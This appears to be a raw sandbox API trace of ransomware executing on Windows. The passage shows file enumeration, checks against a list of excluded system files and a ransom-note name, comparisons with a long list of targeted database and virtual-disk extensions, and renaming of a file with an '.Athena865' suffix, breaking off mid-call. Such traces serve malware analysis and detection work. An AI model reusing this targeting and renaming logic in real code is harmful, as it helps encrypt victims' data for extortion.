[0091.702] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.702] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef790, lpName=0x0) returned 0x154 [0091.703] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef790) returned 0x2d50000 [0091.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.755] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.755] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.756] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.764] CloseHandle (hObject=0x154) returned 1 [0091.764] CloseHandle (hObject=0x17c) returned 1 [0091.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="windows") returned -1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="bootmgr") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="temp") returned -1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="pagefile.sys") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="boot") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ids.txt") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ntuser.dat") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="perflogs") returned 1 [0091.768] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="MSBuild") returned 1 [0091.768] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0091.768] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="TableTextServiceSimplifiedQuanPin.txt") returned="TableTextServiceSimplifiedQuanPin.txt" [0091.769] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0091.769] lstrlenW (lpString="Athena865") returned 9 [0091.769] lstrcmpiW (lpString1="anPin.txt", lpString2="Athena865") returned -1 [0091.769] lstrlenW (lpString=".dll") returned 4 [0091.769] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".dll") returned 1 [0091.769] lstrlenW (lpString=".lnk") returned 4 [0091.769] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".lnk") returned 1 [0091.769] lstrlenW (lpString=".ini") returned 4 [0091.769] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".ini") returned 1 [0091.769] lstrlenW (lpString=".sys") returned 4 [0091.769] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".sys") returned 1 [0091.769] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0091.769] lstrlenW (lpString="bak") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0091.769] lstrlenW (lpString="ba_") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0091.769] lstrlenW (lpString="dbb") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0091.769] lstrlenW (lpString="vmdk") returned 4 [0091.769] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0091.769] lstrlenW (lpString="rar") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0091.769] lstrlenW (lpString="zip") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0091.769] lstrlenW (lpString="tgz") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0091.769] lstrlenW (lpString="vbox") returned 4 [0091.769] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0091.769] lstrlenW (lpString="vdi") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0091.769] lstrlenW (lpString="vhd") returned 3 [0091.769] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0091.770] lstrlenW (lpString="vhdx") returned 4 [0091.770] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0091.770] lstrlenW (lpString="avhd") returned 4 [0091.770] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0091.770] lstrlenW (lpString="db") returned 2 [0091.770] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0091.770] lstrlenW (lpString="db2") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0091.770] lstrlenW (lpString="db3") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0091.770] lstrlenW (lpString="dbf") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0091.770] lstrlenW (lpString="mdf") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0091.770] lstrlenW (lpString="mdb") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0091.770] lstrlenW (lpString="sql") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0091.770] lstrlenW (lpString="sqlite") returned 6 [0091.770] lstrcmpiW (lpString1="in.txt", lpString2="sqlite") returned -1 [0091.770] lstrlenW (lpString="sqlite3") returned 7 [0091.770] lstrcmpiW (lpString1="Pin.txt", lpString2="sqlite3") returned -1 [0091.770] lstrlenW (lpString="sqlitedb") returned 8 [0091.770] lstrcmpiW (lpString1="nPin.txt", lpString2="sqlitedb") returned -1 [0091.770] lstrlenW (lpString="xml") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0091.770] lstrlenW (lpString="$er") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0091.770] lstrlenW (lpString="4dd") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0091.770] lstrlenW (lpString="4dl") returned 3 [0091.770] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0091.771] lstrlenW (lpString="^^^") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0091.771] lstrlenW (lpString="abs") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0091.771] lstrlenW (lpString="abx") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0091.771] lstrlenW (lpString="accdb") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accdb") returned 1 [0091.771] lstrlenW (lpString="accdc") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accdc") returned 1 [0091.771] lstrlenW (lpString="accde") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accde") returned 1 [0091.771] lstrlenW (lpString="accdr") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accdr") returned 1 [0091.771] lstrlenW (lpString="accdt") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accdt") returned 1 [0091.771] lstrlenW (lpString="accdw") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accdw") returned 1 [0091.771] lstrlenW (lpString="accft") returned 5 [0091.771] lstrcmpiW (lpString1="n.txt", lpString2="accft") returned 1 [0091.771] lstrlenW (lpString="adb") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.771] lstrlenW (lpString="adb") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.771] lstrlenW (lpString="ade") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0091.771] lstrlenW (lpString="adf") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0091.771] lstrlenW (lpString="adn") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0091.771] lstrlenW (lpString="adp") returned 3 [0091.771] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0091.772] lstrlenW (lpString="alf") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0091.772] lstrlenW (lpString="ask") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0091.772] lstrlenW (lpString="btr") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0091.772] lstrlenW (lpString="cat") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0091.772] lstrlenW (lpString="cdb") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0091.772] lstrlenW (lpString="ckp") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0091.772] lstrlenW (lpString="cma") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0091.772] lstrlenW (lpString="cpd") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0091.772] lstrlenW (lpString="dacpac") returned 6 [0091.772] lstrcmpiW (lpString1="in.txt", lpString2="dacpac") returned 1 [0091.772] lstrlenW (lpString="dad") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0091.772] lstrlenW (lpString="dadiagrams") returned 10 [0091.772] lstrcmpiW (lpString1="uanPin.txt", lpString2="dadiagrams") returned 1 [0091.772] lstrlenW (lpString="daschema") returned 8 [0091.772] lstrcmpiW (lpString1="nPin.txt", lpString2="daschema") returned 1 [0091.772] lstrlenW (lpString="db-journal") returned 10 [0091.772] lstrcmpiW (lpString1="uanPin.txt", lpString2="db-journal") returned 1 [0091.772] lstrlenW (lpString="db-shm") returned 6 [0091.772] lstrcmpiW (lpString1="in.txt", lpString2="db-shm") returned 1 [0091.772] lstrlenW (lpString="db-wal") returned 6 [0091.772] lstrcmpiW (lpString1="in.txt", lpString2="db-wal") returned 1 [0091.772] lstrlenW (lpString="dbc") returned 3 [0091.772] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0091.773] lstrlenW (lpString="dbs") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0091.773] lstrlenW (lpString="dbt") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0091.773] lstrlenW (lpString="dbv") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0091.773] lstrlenW (lpString="dbx") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0091.773] lstrlenW (lpString="dcb") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0091.773] lstrlenW (lpString="dct") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0091.773] lstrlenW (lpString="dcx") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0091.773] lstrlenW (lpString="ddl") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0091.773] lstrlenW (lpString="dlis") returned 4 [0091.773] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0091.773] lstrlenW (lpString="dp1") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0091.773] lstrlenW (lpString="dqy") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0091.773] lstrlenW (lpString="dsk") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0091.773] lstrlenW (lpString="dsn") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0091.773] lstrlenW (lpString="dtsx") returned 4 [0091.773] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0091.773] lstrlenW (lpString="dxl") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0091.773] lstrlenW (lpString="eco") returned 3 [0091.773] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0091.774] lstrlenW (lpString="ecx") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0091.774] lstrlenW (lpString="edb") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0091.774] lstrlenW (lpString="epim") returned 4 [0091.774] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0091.774] lstrlenW (lpString="fcd") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0091.774] lstrlenW (lpString="fdb") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0091.774] lstrlenW (lpString="fic") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0091.774] lstrlenW (lpString="flexolibrary") returned 12 [0091.774] lstrcmpiW (lpString1="dQuanPin.txt", lpString2="flexolibrary") returned -1 [0091.774] lstrlenW (lpString="fm5") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0091.774] lstrlenW (lpString="fmp") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0091.774] lstrlenW (lpString="fmp12") returned 5 [0091.774] lstrcmpiW (lpString1="n.txt", lpString2="fmp12") returned 1 [0091.774] lstrlenW (lpString="fmpsl") returned 5 [0091.774] lstrcmpiW (lpString1="n.txt", lpString2="fmpsl") returned 1 [0091.774] lstrlenW (lpString="fol") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0091.774] lstrlenW (lpString="fp3") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0091.774] lstrlenW (lpString="fp4") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0091.774] lstrlenW (lpString="fp5") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0091.774] lstrlenW (lpString="fp7") returned 3 [0091.774] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0091.775] lstrlenW (lpString="fpt") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0091.775] lstrlenW (lpString="frm") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0091.775] lstrlenW (lpString="gdb") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.775] lstrlenW (lpString="gdb") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.775] lstrlenW (lpString="grdb") returned 4 [0091.775] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0091.775] lstrlenW (lpString="gwi") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0091.775] lstrlenW (lpString="hdb") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0091.775] lstrlenW (lpString="his") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0091.775] lstrlenW (lpString="ib") returned 2 [0091.775] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0091.775] lstrlenW (lpString="idb") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0091.775] lstrlenW (lpString="ihx") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0091.775] lstrlenW (lpString="itdb") returned 4 [0091.775] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0091.775] lstrlenW (lpString="itw") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0091.775] lstrlenW (lpString="jet") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0091.775] lstrlenW (lpString="jtx") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0091.775] lstrlenW (lpString="kdb") returned 3 [0091.775] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0091.775] lstrlenW (lpString="kexi") returned 4 [0091.776] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0091.776] lstrlenW (lpString="kexic") returned 5 [0091.776] lstrcmpiW (lpString1="n.txt", lpString2="kexic") returned 1 [0091.776] lstrlenW (lpString="kexis") returned 5 [0091.776] lstrcmpiW (lpString1="n.txt", lpString2="kexis") returned 1 [0091.776] lstrlenW (lpString="lgc") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0091.776] lstrlenW (lpString="lwx") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0091.776] lstrlenW (lpString="maf") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0091.776] lstrlenW (lpString="maq") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0091.776] lstrlenW (lpString="mar") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0091.776] lstrlenW (lpString="marshal") returned 7 [0091.776] lstrcmpiW (lpString1="Pin.txt", lpString2="marshal") returned 1 [0091.776] lstrlenW (lpString="mas") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0091.776] lstrlenW (lpString="mav") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0091.776] lstrlenW (lpString="maw") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0091.776] lstrlenW (lpString="mdbhtml") returned 7 [0091.776] lstrcmpiW (lpString1="Pin.txt", lpString2="mdbhtml") returned 1 [0091.776] lstrlenW (lpString="mdn") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0091.776] lstrlenW (lpString="mdt") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0091.776] lstrlenW (lpString="mfd") returned 3 [0091.776] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0091.776] lstrlenW (lpString="mpd") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0091.777] lstrlenW (lpString="mrg") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0091.777] lstrlenW (lpString="mud") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0091.777] lstrlenW (lpString="mwb") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0091.777] lstrlenW (lpString="myd") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0091.777] lstrlenW (lpString="ndf") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0091.777] lstrlenW (lpString="nnt") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0091.777] lstrlenW (lpString="nrmlib") returned 6 [0091.777] lstrcmpiW (lpString1="in.txt", lpString2="nrmlib") returned -1 [0091.777] lstrlenW (lpString="ns2") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0091.777] lstrlenW (lpString="ns3") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0091.777] lstrlenW (lpString="ns4") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0091.777] lstrlenW (lpString="nsf") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0091.777] lstrlenW (lpString="nv") returned 2 [0091.777] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0091.777] lstrlenW (lpString="nv2") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0091.777] lstrlenW (lpString="nwdb") returned 4 [0091.777] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0091.777] lstrlenW (lpString="nyf") returned 3 [0091.777] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0091.777] lstrlenW (lpString="odb") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.778] lstrlenW (lpString="odb") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.778] lstrlenW (lpString="oqy") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0091.778] lstrlenW (lpString="ora") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0091.778] lstrlenW (lpString="orx") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0091.778] lstrlenW (lpString="owc") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0091.778] lstrlenW (lpString="p96") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0091.778] lstrlenW (lpString="p97") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0091.778] lstrlenW (lpString="pan") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0091.778] lstrlenW (lpString="pdb") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0091.778] lstrlenW (lpString="pdm") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0091.778] lstrlenW (lpString="pnz") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0091.778] lstrlenW (lpString="qry") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0091.778] lstrlenW (lpString="qvd") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0091.778] lstrlenW (lpString="rbf") returned 3 [0091.778] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0091.778] lstrlenW (lpString="rctd") returned 4 [0091.778] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0091.778] lstrlenW (lpString="rod") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0091.779] lstrlenW (lpString="rodx") returned 4 [0091.779] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0091.779] lstrlenW (lpString="rpd") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0091.779] lstrlenW (lpString="rsd") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0091.779] lstrlenW (lpString="sas7bdat") returned 8 [0091.779] lstrcmpiW (lpString1="nPin.txt", lpString2="sas7bdat") returned -1 [0091.779] lstrlenW (lpString="sbf") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0091.779] lstrlenW (lpString="scx") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0091.779] lstrlenW (lpString="sdb") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0091.779] lstrlenW (lpString="sdc") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0091.779] lstrlenW (lpString="sdf") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0091.779] lstrlenW (lpString="sis") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0091.779] lstrlenW (lpString="spq") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0091.779] lstrlenW (lpString="te") returned 2 [0091.779] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0091.779] lstrlenW (lpString="teacher") returned 7 [0091.779] lstrcmpiW (lpString1="Pin.txt", lpString2="teacher") returned -1 [0091.779] lstrlenW (lpString="tmd") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0091.779] lstrlenW (lpString="tps") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0091.779] lstrlenW (lpString="trc") returned 3 [0091.779] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.780] lstrlenW (lpString="trc") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.780] lstrlenW (lpString="trm") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0091.780] lstrlenW (lpString="udb") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0091.780] lstrlenW (lpString="udl") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0091.780] lstrlenW (lpString="usr") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0091.780] lstrlenW (lpString="v12") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0091.780] lstrlenW (lpString="vis") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0091.780] lstrlenW (lpString="vpd") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0091.780] lstrlenW (lpString="vvv") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0091.780] lstrlenW (lpString="wdb") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0091.780] lstrlenW (lpString="wmdb") returned 4 [0091.780] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0091.780] lstrlenW (lpString="wrk") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0091.780] lstrlenW (lpString="xdb") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0091.780] lstrlenW (lpString="xld") returned 3 [0091.780] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0091.780] lstrlenW (lpString="xmlff") returned 5 [0091.780] lstrcmpiW (lpString1="n.txt", lpString2="xmlff") returned -1 [0091.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865") returned 92 [0091.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows 